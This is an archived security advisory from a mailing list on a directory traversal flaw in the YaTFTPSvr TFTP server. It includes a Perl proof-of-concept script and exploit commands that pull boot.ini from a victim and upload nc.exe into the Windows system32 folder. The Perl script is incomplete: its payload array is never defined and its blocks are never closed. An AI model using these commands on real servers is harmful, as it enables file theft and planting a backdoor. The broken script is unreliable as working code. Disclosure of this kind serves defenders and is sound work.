lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Sun, 30 Oct 2011 10:56:25 GMT
Subject: YaTFTPSvr TFTP Server Directory Traversal Vulnerability

Title: YaTFTPSvr TFTP Server Directory Traversal Vulnerability
Software : YaTFTPSvr TFTP Server
Software Version :
Vulnerability Published : 2011-07-11
Vulnerability Update Time :
Status : 
Impact : Medium
Bug Description :
YaTFTPSvr TFTP Server does not properly sanitise filenames containing directory traversal sequences that are received from an TFTP client.
Proof Of Concept :
After installing YaTFTPSvr in C drive, and set some pretreatment:
#!/usr/bin/perl -w
$target_ip=shift || die "usage: $0 \$target_ip\n";
open(TMP, ">tmp.txt");
print TMP "tmp";
foreach $dt_content (@directory_traversal){
$dt_it=`tftp.exe $target_ip put tmp.txt $dt_content`;
print "command : tftp.exe $target_ip put tmp.txt $dt_content\n";
print "$dt_it";
if($dt_it=~m/^Transferred successfully/){
print "Directory Traversal PAYLOAD is $dt_content.\n";
print "Press [ENTER] Button to continue...\n";
print "Finish!\n";
Exploit :
#get sensitive file
c:\windows\system32>tftp [VICTIM_IP] get ../../boot.ini boot.ini
#put malware
c:\windows\system32>tftp [VICTIM_IP] put nc.exe ../../WINDOWS/system32/nc.exe
Credits : This vulnerability was discovered by demonalex(at)163(dot)com
Dark2S Security Team/PolyU.HK

Powered by blists - more mailing lists